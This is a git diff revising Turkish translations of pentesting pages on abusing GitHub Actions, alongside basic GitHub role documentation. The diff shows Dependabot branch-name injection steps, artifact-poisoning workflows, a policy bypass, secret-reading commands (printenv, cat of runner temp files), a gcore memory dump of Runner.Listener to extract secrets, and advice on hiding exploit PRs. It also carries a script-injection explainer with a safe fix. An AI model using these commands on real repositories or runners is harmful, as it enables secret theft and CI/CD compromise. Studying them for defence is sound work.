-- Run `@dependabot merge` in the PR Dependabot opened in his fork.
-- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
+- victim repository'yi fork'layın ve Dependabot'u eski bir dependency ile etkinleştirin.
+- malicious shell injeciton code içeren yeni bir branch oluşturun.
+- Repo'nun default branch'ini o branch olarak değiştirin.
+- Bu branch'ten victim repository'ye bir PR oluşturun.
+- `@dependabot merge`'i Dependabot'un fork'unda açtığı PR'da çalıştırın.
+- Dependabot değişikliklerini fork'ladığınız repository'nin default branch'ine mergeleyecek; victim repository'deki PR'ı güncelleyerek workflow'u tetikleyen son event'in actor'ü olarak `dependabot[bot]`'u atayacak ve kötü amaçlı bir branch adı kullanacak.
 
-### Zafiyetli Üçüncü Taraf Github Actions
+### Güvenlik açığı olan Üçüncü Taraf Github Actions
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Bu, [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks)'ta belirtildiği gibi, farklı workflows'lardan ve hatta repository'lerden artifact'lara erişim sağlıyor.
+Bu [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) yazısında belirtildiği gibi, bu Github Action farklı workflows'lerden ve hatta repositories'den artifacts'a erişim sağlıyor.
 
-Asıl sorun şu ki, eğer **`path`** parametresi ayarlanmamışsa, artifact mevcut dizine çıkarılır ve bu, daha sonra workflow içinde kullanılabilecek veya hatta çalıştırılabilecek dosyaların üzerine yazabilir. Bu nedenle, Artifact zafiyetliyse, bir saldırgan bunu kötüye kullanarak Artifact'a güvenen diğer workflow'ları tehlikeye atabilir.
+Sorun şu ki, **`path`** parametresi ayarlı değilse, artifact mevcut dizine çıkarılıyor ve daha sonra workflow'da kullanılabilecek veya çalıştırılabilecek dosyaların üzerine yazabilir. Bu nedenle, Artifact zafiyetliyse, bir saldırgan bunu Artifact'e güvenen diğer workflows'ları bozmak için kötüye kullanabilir.
 
-Zafiyetli workflow örneği:
+Example of vulnerable workflow:
 ```yaml
 on:
 workflow_run:
@@ -376,7 +413,7 @@ with:
 name: artifact
 path: ./script.py
 ```
-Bu, şu workflow ile saldırılabilir:
+Bu, şu workflow ile istismar edilebilir:
 ```yaml
 name: "some workflow"
 on: pull_request
@@ -400,7 +437,7 @@ path: ./script.py
 If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
 
 > [!CAUTION]
-> Bu yüzden eğer bir action, mevcut olmayan bir account'tan bir repo kullanıyorsa, bir saldırgan o account'u oluşturup action'ı ele geçirebilir.
+> Yani eğer bir action var olmayan bir hesabın bir repo'sunu kullanıyorsa, bir saldırgan o hesabı oluşturup action'ı ele geçirebilir.
 
 If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
@@ -409,7 +446,7 @@ If other repositories where using **dependencies from this user repos**, an atta
 ## Repo Pivoting
 
 > [!NOTE]
-> Bu bölümde, ilk repo üzerinde bir erişimimiz olduğunu varsayarak **pivot from one repo to another** sağlayan tekniklerden bahsedeceğiz (önceki bölüme bakın).
+> Bu bölümde, ilk repo üzerinde bir tür erişimimiz olduğunu varsayarsak, **pivot from one repo to another** yapmamıza izin verecek tekniklerden bahsedeceğiz (önceki bölüme bakın).
 
 ### Cache Poisoning
 
@@ -435,7 +472,7 @@ gh-actions-artifact-poisoning.md
 
 As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.**
 
-Örnek:
+Example:
 ```yaml
 on: [push, pull_request]
 
@@ -456,9 +493,9 @@ path: gha-hazmat
 
 - run: ls tmp/checkout
 ```
-### OIDC ile AWS ve GCP'ye erişim
+### OIDC üzerinden AWS ve GCP'ye erişim
 
-Aşağıdaki sayfalara bakın:
+Check the following pages:
 
 {{#ref}}
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -470,9 +507,9 @@ Aşağıdaki sayfalara bakın:
 
 ### Secrets'e erişim <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-Bir script'e içerik enjekte ediyorsanız, secrets'e nasıl erişebileceğinizi bilmek faydalı olabilir:
+Bir script'e içerik enjekte ediyorsanız, secrets'e nasıl erişebileceğinizi bilmek faydalıdır:
 
-- Eğer secret veya token bir **environment variable** olarak ayarlanmışsa, **`printenv`** kullanılarak ortam üzerinden doğrudan erişilebilir.
+- Eğer secret veya token bir **environment variable** olarak ayarlanmışsa, doğrudan ortam üzerinden **`printenv`** ile erişilebilir.
 
 <details>
 
@@ -503,7 +540,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Secrets ile reverse shell al</summary>
+<summary>Secrets ile reverse shell elde et</summary>
 ```yaml
 name: revshell
 on:
@@ -526,7 +563,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
+- Eğer secret **doğrudan bir ifadede** kullanılıyorsa, oluşturulan shell script **diskte** saklanır ve erişilebilir.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
@@ -568,21 +605,20 @@ Tip: for stealth during testing, encrypt before printing (openssl is preinstalle
 
 ### Self-hosted runners'ın kötüye kullanılması
 
-Hangi **Github Actions'ın non-github altyapısında yürütüldüğünü** bulmanın yolu, Github Action yapılandırma yaml'ında **`runs-on: self-hosted`** aramaktır.
+Hangi **Github Actions are being executed in non-github infrastructure** olduğu bulunmanın yolu, Github Action konfigürasyon yaml'ında **`runs-on: self-hosted`** aramaktır.
 
-**Self-hosted** runner'lar ekstra hassas bilgilere, diğer **network systems**'e (ağdaki zafiyetli endpoints? metadata service?) erişim sağlayabilir veya izole edilip yok edilseler bile, **aynı anda birden fazla action çalıştırılabilir** ve kötü amaçlı olan action diğerinin **secrets**'larını çalabilir.
+**Self-hosted** runner'lar ekstra hassas bilgilere, diğer **network systems**'lere (ağdaki zafiyetli endpoint'ler? metadata service?) erişim sağlayabilir veya izole edilip yok edilse bile, **aynı anda birden fazla action çalıştırılabilir** ve kötü amaçlı olan diğerinin **secrets'lerini çalabilir**.
 
-Self-hosted runner'larda ayrıca belleğini dump ederek workflow'ların herhangi bir adımındaki tüm secrets'ları içerecek olan **secrets from the \_Runner.Listener**\_\*\* process\*\*'i elde etmek de mümkündür:
+In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-Daha fazla bilgi için [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Daha fazla bilgi için [**bu yazıya bakın**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
 ### Github Docker Images Registry
 
-Github actions ile bir Docker image'ı Github içinde **build edip depolamak** mümkündür.\
-Bir örnek aşağıdaki genişleyebilir kısımda bulunabilir:
+Github actions ile **build and store a Docker image inside Github** yapacak workflow'lar oluşturmak mümkündür. Aşağıdaki açılır bölümde bir örnek bulunuyor:
 
 <details>
 
@@ -619,29 +655,29 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 
 Önceki kodda görebileceğiniz gibi, Github registry **`ghcr.io`** üzerinde barındırılıyor.
 
-Repoyu okuma iznine sahip bir kullanıcı, ardından kişisel erişim belirteci kullanarak Docker Image'ı indirebilir:
+Repo üzerinde okuma iznine sahip bir kullanıcı, kişisel erişim tokenı kullanarak Docker Image'i indirebilecektir:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-Then, kullanıcı **leaked secrets in the Docker image layers:** için arama yapabilir:
+Then, the user could search for **leaked secrets in the Docker image layers:**
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}
 
-### Github Actions loglarında hassas bilgiler
+### Github Actions loglarındaki hassas bilgiler
 
 Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
-## İzlerini Örtme
+## İzleri Gizleme
 
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Öncelikle, açılan herhangi bir PR hem Github üzerinde hem de hedef GitHub account için halka açıktır. GitHub'da varsayılan olarak, **we can’t delete a PR of the internet**, ama bir tuhaflık vardır. Github tarafından **suspended** edilen hesapların tüm **PR'leri otomatik olarak silinir** ve internetten kaldırılır. Bu nedenle aktivitenizi gizlemek için ya **GitHub account suspended** olmasını sağlamanız ya da hesabınızın **flagged** edilmesi gerekir. Bu, GitHub üzerindeki tüm aktivitelerinizi internetten **gizleyecektir** (temelde exploit PR'lerinizi kaldırır).
+(Teknik [**buradan**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Öncelikle, açılan herhangi bir PR GitHub'da ve hedef GitHub hesabında kamuya açık olarak görünür. GitHub'da varsayılan olarak, internetten bir PR'yi **silme** imkanımız yoktur, ancak bir nüans vardır. GitHub tarafından **suspended** edilen hesapların tüm **PR'leri otomatik olarak silinir** ve internetten kaldırılır. Bu yüzden faaliyetlerinizi gizlemek için ya **GitHub hesabınızın suspended edilmesini** sağlamalı ya da hesabınızın **flagged** edilmesini sağlamalısınız. Bu, GitHub'daki tüm faaliyetlerinizi internetten **gizleyecektir** (temelde tüm exploit PR'lerinizi kaldırır).
 
-Bir organization GitHub üzerinde hesapları GitHub'a bildirme konusunda çok proaktiftir. Yapmanız gereken tek şey Issue içinde “some stuff” paylaşmak ve onlar hesabınızın 12 saat içinde suspended olmasını sağlayacaklardır :p böylece exploit'iniz github üzerinde görünmez hale gelir.
+Bir GitHub organizasyonu, hesapları GitHub'a bildirme konusunda oldukça proaktiftir. Yapmanız gereken tek şey Issue'da “bazı şeyler” paylaşmak; onlar hesabınızın 12 saat içinde suspended edilmesini sağlar :p ve işte, exploit'iniz GitHub'da görünmez hale gelir.
 
 > [!WARNING]
-> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
+> Bir organizasyonun hedeflendiğini anlayabilmesinin tek yolu, GitHub UI'dan PR silineceği için SIEM üzerinden GitHub loglarını kontrol etmektir.
 
 ## References
 

src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md

@@ -4,18 +4,18 @@
 
 ## Riskin anlaşılması
 
-GitHub Actions, adım çalışmadan önce ${{ ... }} ifadelerini render eder. Render edilmiş değer adımın programına yapıştırılır (run adımları için bir shell script). Eğer untrusted input'u doğrudan run: içine interpolate ederseniz, saldırgan shell programının bir kısmını kontrol eder ve rastgele komutlar çalıştırabilir.
+GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the step’s program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
 
-Dokümanlar: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions ve contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
+Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
 
 Önemli noktalar:
-- Render işlemi yürütmeden önce gerçekleşir. run script, tüm ifadeler çözülmüş şekilde oluşturulur ve ardından shell tarafından çalıştırılır.
-- Birçok contexts, tetikleyici olaya bağlı olarak kullanıcı kontrollü alanlar içerir (issues, PRs, comments, discussions, forks, stars, vb.). untrusted input referansına bakın: https://securitylab.github.com/resources/github-actions-untrusted-input/
-- run: içindeki shell quoting güvenilir bir savunma değildir, çünkü enjeksiyon şablon render aşamasında gerçekleşir. Saldırganlar aldatıcı input ile tırnaklardan çıkabilir veya operatörler enjekte edebilir.
+- Render işlemi yürütmeden önce gerçekleşir. Tüm ifadeler çözümlendikten sonra run script oluşturulur ve sonra shell tarafından çalıştırılır.
+- Birçok contexts kullanıcı-kontrollü alanlar içerir; bu, tetikleyici olaya bağlıdır (issues, PRs, comments, discussions, forks, stars, vb.). Güvenilmeyen input referansına bakın: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- run: içindeki shell quoting güvenilir bir savunma değildir, çünkü enjeksiyon şablon render aşamasında gerçekleşir. Saldırganlar tırnaklardan çıkabilir veya özel olarak hazırlanmış girdilerle operatörler enjekte edebilir.
 
-## Zafiyetli desen → runner üzerinde RCE
+## Zayıf örüntü → RCE on runner
 
-Zafiyetli workflow (birisi yeni bir issue açtığında tetiklenir):
+Zayıf workflow (birisi yeni bir issue açtığında tetiklenir):
 ```yaml
 name: New Issue Created
 on:
@@ -36,20 +36,20 @@ with:
 github_token: ${{ secrets.GITHUB_TOKEN }}
 labels: new
 ```
-Eğer bir saldırgan $(id) başlıklı bir issue açarsa, render edilen adım şöyle olur:
+Eğer bir saldırgan $(id) başlıklı bir issue açarsa, renderlenen adım şöyle olur:
 ```sh
 echo "New issue $(id) created"
 ```
-Command substitution, runner üzerinde id komutunu çalıştırır. Örnek çıktı:
+Komut değişimi runner üzerinde id komutunu çalıştırır. Örnek çıktı:
 ```
 New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
 ```
 Neden tırnaklama sizi kurtarmaz:
-- İfadeler önce işlenir, sonra ortaya çıkan script çalıştırılır. Eğer güvenilmeyen değer $(...), `;`, `"`/`'`, veya yeni satırlar içeriyorsa, tırnaklamanıza rağmen program yapısını değiştirebilir.
+- İfadeler önce render edilir, sonra ortaya çıkan script çalıştırılır. Eğer güvensiz değer $(...), `;`, `"`/`'`, veya yeni satırlar içeriyorsa, tırnaklama yapmış olsanız bile program yapısını değiştirebilir.
 
-## Güvenli yöntem (shell variables via env)
+## Güvenli desen (shell variables via env)
 
-Doğru çözüm: güvenilmeyen girdiyi bir çevresel değişkene kopyalayın, sonra run script içinde yerel shell genişletmesini ($VAR) kullanın. Komut içinde ${{ ... }} ile yeniden gömmeyin.
+Doğru önlem: güvensiz girdiyi bir environment variable'a kopyalayın, sonra run script içinde native shell expansion ($VAR) kullanın. Komutun içinde ${{ ... }} ile tekrar gömmeyin.
 ```yaml
 # safe
 jobs:
@@ -63,28 +63,28 @@ run: |
 echo "New issue $TITLE created"
 ```
 Notlar:
-- run: içinde ${{ env.TITLE }} kullanmaktan kaçının. Bu, şablon işleme (template rendering)'i komuta geri sokar ve aynı enjeksiyon riskini getirir.
-- Güvenilmeyen girdileri env: mapping üzerinden iletmeyi tercih edin ve run: içinde onları $VAR ile referanslayın.
+- run: içinde ${{ env.TITLE }} kullanmaktan kaçının. Bu, şablon render'ını komutun içine yeniden sokar ve aynı enjeksiyon riskini getirir.
+- Güvensiz girdileri env: mapping ile geçirmek ve run: içinde bunlara $VAR ile referans vermek tercih edin.
 
-## Okuyucu tarafından tetiklenebilen yüzeyler (güvenilmez sayın)
+## Reader-triggerable surfaces (treat as untrusted)
 
-Public repository'lerde yalnızca okuma izni olan hesaplar yine de birçok olayı tetikleyebilir. Bu olaylardan türetilen bağlamlardaki herhangi bir alan, aksi kanıtlanana kadar saldırgan kontrollü olarak kabul edilmelidir. Örnekler:
+Sadece public repository'lerde okuma izni olan hesaplar bile birçok eventi tetikleyebilir. Bu olaylardan türetilen contexts içindeki herhangi bir alan, aksi kanıtlanana kadar saldırgan kontrolünde kabul edilmelidir. Örnekler:
 - issues, issue_comment
-- discussion, discussion_comment (orglar discussions'ı kısıtlayabilir)
+- discussion, discussion_comment (org'lar discussions'ı kısıtlayabilir)
 - pull_request, pull_request_review, pull_request_review_comment
-- pull_request_target (kötü kullanılırsa tehlikeli, base repo bağlamında çalışır)
-- fork (herkes public repo'ları fork'layabilir)
-- watch (bir repoya yıldız koyma)
-- Dolaylı olarak workflow_run/workflow_call zincirleri aracılığıyla
+- pull_request_target (kötü kullanılırsa tehlikeli, base repo context'inde çalışır)
+- fork (herkes public repo'yu fork'layabilir)
+- watch (bir repo'yu star'lamak)
+- Dolaylı olarak workflow_run/workflow_call zincirleri vasıtasıyla
 
-Hangi spesifik alanların saldırgan kontrollü olduğu event'e özeldir. GitHub Security Lab’in untrusted input rehberine bakın: https://securitylab.github.com/resources/github-actions-untrusted-input/
+Hangi spesifik alanların saldırgan kontrolünde olduğu olay bazlıdır. GitHub Security Lab’in untrusted input rehberine bakın: https://securitylab.github.com/resources/github-actions-untrusted-input/
 
-## Pratik ipuçları
+## Practical tips
 
 - run: içinde expressions kullanımını en aza indirin. env: mapping + $VAR tercih edin.
-- Girdiyi dönüştürmeniz gerekiyorsa, bunu shell içinde güvenli araçlarla yapın (printf %q, jq -r, vb.), yine de bir shell değişkeninden başlayarak.
-- branch isimlerini, PR başlıklarını, kullanıcı adlarını, label'ları, discussion başlıklarını ve PR head refs'lerini scriptlere, komut satırı bayraklarına veya dosya yollarına yerleştirirken ekstra dikkatli olun.
-- Reusable workflows ve composite actions için aynı deseni uygulayın: env: üzerinden iletin, sonra $VAR ile referanslayın.
+- Eğer girdiyi dönüştürmeniz gerekiyorsa, bunu shell içinde güvenli araçlarla yapın (printf %q, jq -r, vb.), yine bir shell değişkeninden başlayarak.
+- Branch isimlerini, PR başlıklarını, kullanıcı adlarını, label'ları, discussion başlıklarını ve PR head ref'lerini script'lere, komut satırı flag'lerine veya dosya yollarına interpolasyon yaparken ekstra dikkatli olun.
+- Reusable workflows ve composite actions için de aynı deseni uygulayın: env'e map edip sonra $VAR ile referanslayın.
 
 ## References
 

src/pentesting-ci-cd/github-security/basic-github-information.md

@@ -4,153 +4,153 @@
 
 ## Temel Yapı
 
-Büyük bir **şirket**in temel github ortam yapısı, bir **enterprise**'a sahip olmaktır; bu enterprise birkaç **organization**'a sahiptir ve her biri **birden fazla repository** ve **birden fazla team** içerebilir. Daha küçük şirketler sadece **tek bir organization sahibi olup enterprise'a sahip olmayabilir**.
+Büyük bir **company** için temel github ortam yapısı, bir **enterprise**'a sahip olmaktır; bu **enterprise** birden fazla **organization**'a sahip olur ve her biri birden fazla **repository** ve birden fazla **team** içerebilir. Daha küçük şirketler sadece **bir organization'a sahip olup enterprise'ları olmayabilir**.
 
-Kullanıcı açısından bir **user**, **farklı enterprise'ların ve organization'ların** bir üyesi olabilir. Bu yapıların içinde kullanıcı farklı **enterprise, organization ve repository rolleri** taşıyabilir.
+Kullanıcı bakış açısından, bir **user** farklı **enterprises** ve **organizations**ın **üyesi** olabilir. Bunların içinde kullanıcı farklı **enterprise, organization ve repository rolleri**ne sahip olabilir.
 
-Ayrıca bir kullanıcı farklı **takımların (teams)** üyesi olabilir ve bu takımlarda farklı enterprise, organization veya repository rolleri olabilir.
+Ayrıca, bir kullanıcı farklı **teams**'in parçası olabilir ve farklı enterprise, organization veya repository rollerine sahip olabilir.
 
-Ve son olarak **repository'ler özel koruma mekanizmalarına sahip olabilir.**
+Ve son olarak **repositories** özel koruma mekanizmalarına sahip olabilir.
 
-## Ayrıcalıklar
+## Yetkiler
 
 ### Enterprise Rolleri
 
-- **Enterprise owner**: Bu role sahip kişiler **yöneticileri yönetebilir, enterprise içindeki organization'ları yönetebilir, enterprise ayarlarını yönetebilir, organization'lar arasında politika uygulayabilir**. Ancak, bir organization sahibi yapılmadıkları veya organization'a ait bir repository'e doğrudan erişim verilmediği sürece **organization ayarlarına veya içeriğine erişemezler**.
-- **Enterprise members**: Enterprise'ınız tarafından sahip olunan organization'ların üyeleri **otomatik olarak enterprise üyeleri** olur.
+- **Enterprise owner**: Bu role sahip kişiler **yöneticileri yönetebilir, enterprise içindeki organization'ları yönetebilir, enterprise ayarlarını yönetebilir, organization'lar arasında politika uygulayabilirler**. Ancak, **organizasyon ayarlarına veya içeriğe erişemezler**; bunun için ya organization owner yapılmaları ya da organization'a ait bir repository'ye doğrudan erişim verilmesi gerekir.
+- **Enterprise members**: Enterprise'ınız tarafından sahip olunan organization'ların üyeleri **otomatik olarak enterprise üyesi** olurlar.
 
 ### Organization Rolleri
 
 Bir organization içinde kullanıcılar farklı rollere sahip olabilir:
 
-- **Organization owners**: Organization sahipleri **organization üzerinde tam idari erişime** sahiptir. Bu rol sınırlı tutulmalı, ancak organization içinde en az iki kişiden daha az olmamalıdır.
-- **Organization members**: Organization içindeki kişilerin varsayılan, idari olmayan rolü organization member'dır. Varsayılan olarak organization üyeleri **bir dizi izne** sahiptir.
-- **Billing managers**: Billing manager'lar organization için **fatura ayarlarını yönetebilen** kullanıcılardır (ör. ödeme bilgileri).
-- **Security Managers**: Organization sahiplerinin herhangi bir team'e atayabileceği bir roldür. Uygulandığında, takımın her üyesine **organizasyon genelindeki security alert'leri ve ayarlarını yönetme izni ile tüm repository'leri okuma izni** verir.
-- Eğer organization'ın bir security takımı varsa, security manager rolünü takım üyelerine organizasyona erişmek için gereken en az izinleri vermek amacıyla kullanabilirsiniz.
-- **Github App managers**: Organization tarafından sahip olunan GitHub App'leri yönetmek için ek kullanıcılara izin vermek amacıyla owner onlara GitHub App manager izinleri verebilir.
-- **Outside collaborators**: Outside collaborator, organization üyesi olarak açıkça yer almayan ancak **bir veya daha fazla organization repository'sine erişimi olan** kişidir.
+- **Organization owners**: Organization owners, **organization üzerinde tam idari erişime** sahiptir. Bu rol sınırlı tutulmalıdır, fakat organizasyonunuzda en az iki kişiden az olmamalıdır.
+- **Organization members**: Organization içindeki kişilerin varsayılan, idari olmayan rolü organization member'dır. Varsayılan olarak organization üyelerinin **bir dizi izni** vardır.
+- **Billing managers**: Billing managers, organizasyonunuz için ödeme bilgileri gibi **fatura ayarlarını yönetebilen** kullanıcılardır.
+- **Security Managers**: Organization owners tarafından bir team'e atanabilen bir roldür. Uygulandığında, takımın her üyesine organizasyon genelinde **security alert'leri ve ayarları yönetme izinleri** ve organizasyondaki tüm repository'ler için **okuma izinleri** verir.
+- Eğer organizasyonunuzun bir security team'i varsa, security manager rolünü kullanarak takım üyelerine organizasyona yönelik en az erişimi verebilirsiniz.
+- **Github App managers**: Bir organization tarafından sahip olunan GitHub Apps'leri yönetmelerine izin vermek için owner, kullanıcılara Github App manager izinleri verebilir.
+- **Outside collaborators**: Outside collaborator, **organization üyesi olmayan** fakat bir veya daha fazla organization repository'sine **erişimi olan** kişidir.
 
-Bu rollerin izinlerini şu tabloda **karşılaştırabilirsiniz**: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+Bu rollerin izinlerini bu tabloda **karşılaştırabilirsiniz**: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
-### Üye Ayrıcalıkları
+### Üye Yetkileri
 
-_https://github.com/organizations/\<org_name>/settings/member_privileges_ adresinde, **organizasyonun bir parçası olmanın kullanıcılara vereceği izinleri** görebilirsiniz.
+_in https://github.com/organizations/\<org_name>/settings/member_privileges_ adresinde **kullanıcıların organizasyonun parçası olmaktan dolayı sahip olacakları izinleri** görebilirsiniz.
 
-Burada yapılandırılan ayarlar organizasyon üyelerinin aşağıdaki izinlerini belirler:
+Burada yapılandırılan ayarlar, organizasyon üyelerinin aşağıdaki izinlerini gösterecektir:
 
-- Tüm organization repository'leri üzerinde admin, writer, reader veya hiç izin olmama.
+- Tüm organizasyon repository'leri üzerinde admin, writer, reader veya hiç izin sahibi olmama.
 - Üyelerin private, internal veya public repository oluşturup oluşturamayacağı.
-- Repository'lerin fork edilip edilemeyeceği.
-- Outside collaborator davet etmenin mümkün olup olmadığı.
+- Repository'lerin fork edilebilme durumu.
+- Outside collaborators davet etmenin mümkün olup olmadığı.
 - Public veya private sitelerin yayınlanıp yayınlanamayacağı.
-- Admin'lerin repository'ler üzerindeki izinleri.
-- Üyelerin yeni team oluşturup oluşturamayacağı.
+- Adminlerin repository'ler üzerindeki izinleri.
+- Üyelerin yeni teams oluşturup oluşturamayacağı.
 
 ### Repository Rolleri
 
 Varsayılan olarak repository rolleri oluşturulur:
 
-- **Read**: Projeyi görüntülemek veya tartışmak isteyen **kod dışı katkıcılar** için önerilir.
-- **Triage**: Yazma erişimi olmadan **issue ve pull request'leri proaktif olarak yönetmesi gereken katkıcılar** için önerilir.
-- **Write**: Projeye aktif olarak push yapan katkıcılar için önerilir.
-- **Maintain**: Hassas veya yok edici eylemlere erişimi olmadan **repository'yi yönetmesi gereken proje yöneticileri** için önerilir.
-- **Admin**: Güvenlik yönetimi veya repository silme gibi hassas ve yok edici eylemler dahil olmak üzere **projeye tam erişim** needs eden kişiler için önerilir.
+- **Read**: Projenizi görüntülemek veya tartışmak isteyen **kod dışı katkıcılar** için önerilir.
+- **Triage**: Yazma erişimi olmadan issue'ları ve pull request'leri proaktif olarak yönetmesi gereken **katkıcılar** için önerilir.
+- **Write**: Projenize aktif olarak push yapan katkıcılar için önerilir.
+- **Maintain**: Repository'yi **yönetmesi gereken proje yöneticileri** için önerilir; hassas veya yıkıcı işlemlere erişim olmadan.
+- **Admin**: Güvenlik yönetimi veya repository silme gibi hassas ve yıkıcı işlemler dahil olmak üzere **projeye tam erişime** ihtiyaç duyan kişiler için önerilir.
 
-Her rolün izinlerini şu tabloda **karşılaştırabilirsiniz**: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+Her rolün izinlerini bu tabloda **karşılaştırabilirsiniz**: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
 Ayrıca kendi rollerinizi _https://github.com/organizations/\<org_name>/settings/roles_ adresinde **oluşturabilirsiniz**.
 
 ### Teams
 
-Organization'da oluşturulan takımları _https://github.com/orgs/\<org_name>/teams_ adresinde **listeleyebilirsiniz**. Diğer takımların alt takımlarını görmek için her parent team'e erişmeniz gerektiğini unutmayın.
+Organization'da oluşturulmuş teams'leri _https://github.com/orgs/\<org_name>/teams/_ adresinde **listeleyebilirsiniz**. Not: başka team'lerin alt takımları olan team'leri görmek için her bir üst team'e erişmeniz gerekir.
 
 ### Users
 
 Organization kullanıcıları _https://github.com/orgs/\<org_name>/people_ adresinde **listelenebilir**.
 
-Her kullanıcının bilgisi içinde kullanıcının **üye olduğu takımlar** ve kullanıcının **erişimi olan repo'lar** görülebilir.
+Her kullanıcının bilgisi içinde kullanıcının **üye olduğu teams** ve kullanıcının **erişimi olan repos** görülebilir.
 
-## Github Kimlik Doğrulama
+## Github Authentication
 
-Github hesabınıza kimlik doğrulamak ve sizin adınıza işlem yapmak için farklı yollar sunar.
+Github, hesabınıza kimlik doğrulaması yapmak ve sizin adınıza işlem gerçekleştirmek için farklı yollar sunar.
 
 ### Web Erişimi
 
-**github.com**'a erişerek **username ve password** (ve muhtemelen **2FA**) ile giriş yapabilirsiniz.
+github.com'a erişerek **kullanıcı adı ve parola** (ve potansiyel olarak **2FA**) ile giriş yapabilirsiniz.
 
-### **SSH Keys**
+### SSH Keys
 
-Hesabınızı, ilgili **private key**in sizin adınıza işlem yapmasına izin veren bir veya birden fazla public key ile yapılandırabilirsiniz. [https://github.com/settings/keys](https://github.com/settings/keys)
+Hesabınızı bir veya birkaç public key ile yapılandırabilir, böylece ilgili **private key** sizin adınıza işlem yapabilir. [https://github.com/settings/keys](https://github.com/settings/keys)
 
-#### **GPG Keys**
+#### GPG Keys
 
-Bu anahtarlarla kullanıcıyı **taklit edemezsiniz**, ancak eğer kullanmazsanız **imzasız commit gönderirken keşfedilebilirsiniz**. [vigilant mode hakkında daha fazla bilgi için buraya bakın](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Bu anahtarlarla **kullanıcıyı taklit edemezsiniz**, ancak eğer kullanmazsanız imzasız commit göndermekten dolayı **keşfedilmeniz** mümkün olabilir. [vigilant mode hakkında daha fazla bilgi için buraya bakın](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
 
-### **Personal Access Tokens**
+### Personal Access Tokens
 
-Bir uygulamaya hesabınıza erişim vermek için personal access token oluşturabilirsiniz. Bir personal access token oluştururken **kullanıcının** token'ın sahip olacağı **izinleri belirtmesi gerekir**. [https://github.com/settings/tokens](https://github.com/settings/tokens)
